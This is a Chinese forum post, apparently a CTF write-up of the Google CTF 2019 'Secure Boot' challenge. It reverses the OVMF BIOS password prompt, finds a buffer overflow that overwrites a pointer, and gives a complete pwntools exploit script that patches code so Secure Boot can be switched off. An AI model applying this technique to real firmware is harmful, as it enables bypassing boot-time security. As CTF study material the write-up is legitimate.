本帖最后由 40m41h42t 于 2019-7-23 13:54 编辑
题目说明
题目链接
Your task is very simple: just boot this machine. We tried before but we always get 'Security Violation'. For extra fancyness use `socat -,raw,echo=0 tcp:$IP:$PORT'`.
About OVMF
OVMF 是一种流行的开源 UEFI 固件,现在已经被移植到了 QEMU 上。它实现了 UEFI 的规范,因此和真实机器上的商用 UEFI 固件非常相似。
题目分析
如果直接运行官方提供的 py 文件是这个效果:
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
FS0: Alias(s):HD1a1:;BLK3:
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
BLK0: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
BLK1: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
BLK2: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
BLK4: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)
和题目中说的一样。
如果在这个输出之前按下 ESC 或 F12,就会有如下输出:
BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
* *
* Welcome to the BIOS! *
* *
****************************Password?
如果我们随便输入的话会报错。从上面的输出中我们可以看到一个重要的函数(文件?):UiApp
通过 UEFITool 工具我们可以得到下面的文件列表:
通过 UEFI Firmware Parser 工具将其分离:
[Bash shell] 纯文本查看 复制代码
uefi-firmware-parser -ecO ./OVMF.fd
我们可以在这一大串输出中定向找到 UiApp:
UiApp
File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
Name: UiApp
Section 3: type 0x14, size 0xe (14 bytes) (Version section section)
分析该文件,我们可以找到 `Welcome to the BIOS!` 字符串:
由于它是以 UTF-16LE 格式进行编码的,因此直接搜是搜不到的,搜索格式应该是 `W\x00e\x00l\x00 ...` 这样子的。
EFI 对输入的处理有一个数据结构:
[C] 纯文本查看 复制代码
typedef struct { UINT16 ScanCode; CHAR16 UnicodeChar; } EFI_INPUT_KEY;
向前追溯可以找到某个函数,整理一下是这个样子的:
[C] 纯文本查看 复制代码
signed __int64 welcome_to_BIOS() { unsigned __int16 v0; // ax char v2; // [rsp+2Ch] [rbp-BCh] __int16 v3; // [rsp+2Eh] [rbp-BAh] char v4; // [rsp+30h] [rbp-B8h] char buf[128]; // [rsp+38h] [rbp-B0h] __int64 res; // [rsp+B8h] [rbp-30h] _QWORD *dest; // [rsp+C0h] [rbp-28h] __int64 size; // [rsp+C8h] [rbp-20h] unsigned __int16 i; // [rsp+D6h] [rbp-12h] unsigned __int64 tries; // [rsp+D8h] [rbp-10h] tries = 0i64; size = 32i64; puts(L"****************************\n"); puts(L"* *\n"); puts(L"* Welcome to the BIOS! *\n"); puts(L"* *\n"); puts(L"****************************\n\n"); dest = (_QWORD *)sub_11A8(32i64); while ( tries <= 2 ) { i = 0; puts(L"Password?\n"); while ( 1 ) { while ( 1 ) { res = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))( *(_QWORD *)(qword_1BC68 + 48), &v2); if ( res >= 0 ) { if ( v3 ) break; } if ( res == 0x8000000000000006i64 ) (*(void (__fastcall **)(signed __int64, signed __int64, char *))(qword_1BC78 + 96))( 1i64, *(_QWORD *)(qword_1BC68 + 48) + 16i64, &v4); } if ( v3 == '\r' ) break; if ( i <= 139u ) { v0 = i++; buf[v0] = v3; } puts("*"); } buf[i] = 0; puts(L"\n"); sha256((__int64)buf, i, (__int64)dest); if ( *dest == 0xDEADBEEFDEADBEEFi64 && dest[8] == 0xDEADBEEFDEADBEEFi64 && dest[16] == 0xDEADBEEFDEADBEEFi64 && dest[24] == 0xDEADBEEFDEADBEEFi64 ) { doSomething((__int64)dest); return 1i64; } puts("W"); ++tries; } doSomething((__int64)dest); return 0i64; }
要求输入不多于 139 个字符,处理输入会用到 SHA256(通过某些特征数据可得)很明显要求 `buf` 经过哈希后得到 `0xDEADBEEF` 这样的数据。但很明显我们不可能得到哈希前的符合要求的数据,因此我们可以换一种方式。注意到输入是 139 而 `buf` 的大小只有 128,这会不会是一个溢出点呢?
我们可以溢出 12 位,接下来看一下它的栈帧:
[C] 纯文本查看 复制代码
unsigned __int16 v0; // ax char ScanCode; // [rsp+2Ch] [rbp-BCh] __int16 UnicodeChar; // [rsp+2Eh] [rbp-BAh] char v4; // [rsp+30h] [rbp-B8h] char buf[128]; // [rsp+38h] [rbp-B0h] __int64 res; // [rsp+B8h] [rbp-30h] _QWORD *dest; // [rsp+C0h] [rbp-28h] __int64 size; // [rsp+C8h] [rbp-20h] unsigned __int16 i; // [rsp+D6h] [rbp-12h] unsigned __int64 tries; // [rsp+D8h] [rbp-10h]
很明显可以溢出到 dest 上,也就是一个任意地址写。写到哪里比较合适呢?
一种思路是写这里:
[C] 纯文本查看 复制代码
if ( *dest == 0xDEADBEEFDEADBEEFi64 && dest[8] == 0xDEADBEEFDEADBEEFi64 && dest[16] == 0xDEADBEEFDEADBEEFi64 && dest[24] == 0xDEADBEEFDEADBEEFi64 ) { doSomething((__int64)dest); return 1i64; } puts((__int64)"W"); ++tries; } doSomething((__int64)dest); return 0i64; }
我们看到,它在判断满足条件之后会进入一个函数然后返回 1,那么我们可不可以跳转到这里呢?看看这附近的汇编:
.text:0000000000010062 jnz short loc_1007B
.text:0000000000010064 mov rax, [rsp+0E8h+dest]
.text:000000000001006C mov rdi, rax
.text:000000000001006F call doSomething
.text:0000000000010074 mov eax, 1
.text:0000000000010079 jmp short done
.text:000000000001007B ; ---------------------------------------------------------------------------
.text:000000000001007B
.text:000000000001007B loc_1007B: ; CODE XREF: welcome_to_BIOS+173↑j
.text:000000000001007B ; welcome_to_BIOS+1D4↑j ...
.text:000000000001007B lea rcx, strWrong ; "W"
.text:0000000000010082 call puts
.text:0000000000010087 add [rsp+0E8h+tries], 1
.text:0000000000010090
.text:0000000000010090 loop_f: ; CODE XREF: welcome_to_BIOS+73↑j
.text:0000000000010090 cmp [rsp+0E8h+tries], 2
.text:0000000000010099 jbe loc_FEC8
.text:000000000001009F mov rax, [rsp+0E8h+dest]
.text:00000000000100A7 mov rdi, rax
.text:00000000000100AA call doSomething
.text:00000000000100AF mov eax, 0
看上去很容易被利用哎:比较的最后一个跳转位于 0x10062,只需要在 0x1007B 处跳转到 0x10064 处就可以了!我们再看一下当前进程的 map:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x0 0x400000 rwxp 400000 0
0x63df000 0x6bdf000 rwxp 800000 0
0x6f2d000 0x772d000 rwxp 800000 0
0x7730000 0x7f30000 rwxp 800000 0
0x7ec0000 0x82c1000 rwxp 401000 0 [stack]
0x69326000 0x69b26000 rwxp 800000 0
0x6c246000 0x6ca46000 rwxp 800000 0
0x742e7000 0x74ae7000 rwxp 800000 0
0x752e6000 0x75ae6000 rwxp 800000 0
0x94af5000 0x952f5000 rwxp 800000 0
0x230246000 0x230a46000 rwxp 800000 0
0x2b808c000 0x2b888c000 rwxp 800000 0
0x7ebd7d000 0x7ec57d000 rwxp 800000 0
全都是 rwxp!我们可以进行任意的修改操作。跳转的距离就是 0x7B - 0x64 = 0x17。所以任意写的过程中,使得修改后的汇编位 `jmp $-0x17` 即可在后面完成跳转。
接下来就是调试啦,我们要找到真实的环境中相应汇编的位置。
调试
在 `run.py` 中 `qemu` 的一大串参数中加入 `-s` 参数,之后就可以本地通过 gdb `target remote localhost:1234` 进行调试了。细节就不多说了,由于它会对输入也有一个处理,在进入输入函数之后通过 gdb 连接,此时位于输入处理函数中。我们看 stack,在 `rsp + 120` 的位置能看到返回地址
对应的是 IDA 中的
.text:000000000000FF5E jmp loc_FEDE
这样我们就可以通过偏移获得 0x1007B 的位置:0x1007B - 0xFF5E + 0x67DAF5E = 0x67DB07B。
接下来我们要编写 payload 了。由于其中会进行一次 SHA256,因此我们要让 SHA256 的输出等于 payload:
[Python] 纯文本查看 复制代码
from pwn import * import hashlib import binascii target = 0x67db07b def find_sha(myasm): for i in xrange(1000000): payload = str(i) payload = payload.ljust(128, 'a') payload += '\x00' * 8 # 截断 payload += p32(target) if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm: print('[1] payload: ', payload) payload = str(i) payload = payload.ljust(136, 'a') payload += p32(target) print('[2] payload: ', payload) return payload find_sha(asm('jmp $-0x17'))
这样我们就构造好了 payload。开始寻找的时候为什么要用 `payload += 'x00'*8` 呢?因为我们覆盖了 res 那一部分,而 res 的值是会随着输入而变化的,因此第 128 位到 136 位都会被修改位为 NULL。而后面将这里填充可能是输入函数不会处理 `\x00` 这样的值,所以我们还得补充上去。
我们调试一下。下面汇编位置在输入后, Hash 函数之前。
.text:000000000000FF6E movzx eax, [rsp+0E8h+i]
.text:000000000000FF76 cdqe
.text:000000000000FF78 mov [rsp+rax+0E8h+buf], 0
0xFF6E 对应的下断点地址空间是:0x67DAF6E。
假如我们的输入是:`'1'*128+'23456789abcd'`,调试之后会发现栈中的内容是这样的:
很明显 `23456789` 的部分被截断了。
最后,完整的 payload 构造如下:
[Python] 纯文本查看 复制代码
from pwn import * import hashlib import binascii import os import tempfile target = 0x67db07b context(os='linux',arch='amd64') #,log_level='debug') def find_sha(myasm): for i in xrange(1000000): payload = str(i) payload = payload.ljust(128, 'a') payload += '\x00' * 8 payload += p32(target) if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm: print('[1] payload: ', payload) print(hashlib.sha256(payload).hexdigest()) payload = str(i) payload = payload.ljust(136, 'a') payload += p32(target) print('[2] payload: ', payload) print(hashlib.sha256(payload).hexdigest()) return payload def exploit(p): p.sendafter('2J',"\x1b\x5b\x32\x34\x7e"*10) payload = find_sha(asm("jmp $-0x17")) payload += "\r" p.sendafter("Password?", payload) p.interactive() def local(): fname = tempfile.NamedTemporaryFile().name os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname)) # os.system("qemu-system-x86_64 -s -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2> /dev/null" % (fname)) p = process(['qemu-system-x86_64','-s','-m','128M','-drive','if=pflash,format=raw,file='+fname,'-drive','file=fat:rw:contents,format=raw','-net','none','-nographic'], env={}) exploit(p) os.system("rm -rf %s" % (fname)) if __name__ == "__main__": # p = remote("secureboot.ctfcompetition.com", 1337) local()
直接用 pwntools 的输出的话很坑,但是题目中也提供了一种输出方式。
本地调试:
[Bash shell] 纯文本查看 复制代码
socat -,raw,echo=0 SYSTEM:"python ./payload.py"
可以看到,它提供了一个不错的界面。我们进入 Device Manager,进入 Secure Boot Configuration,关闭 Attempt Secure Boot,保存退出即可。
最终即可得到 flag:
参考文章
Secure Boot - Google CTF 2019 Quals
2019-06-22-Google-CTF-Quals
UEFI
OVMF
efi__console_8c_source
XTerm Control Sequences
Everything you never wanted to know about ANSI escape codes
【pwn】诡异的movsx和cdqe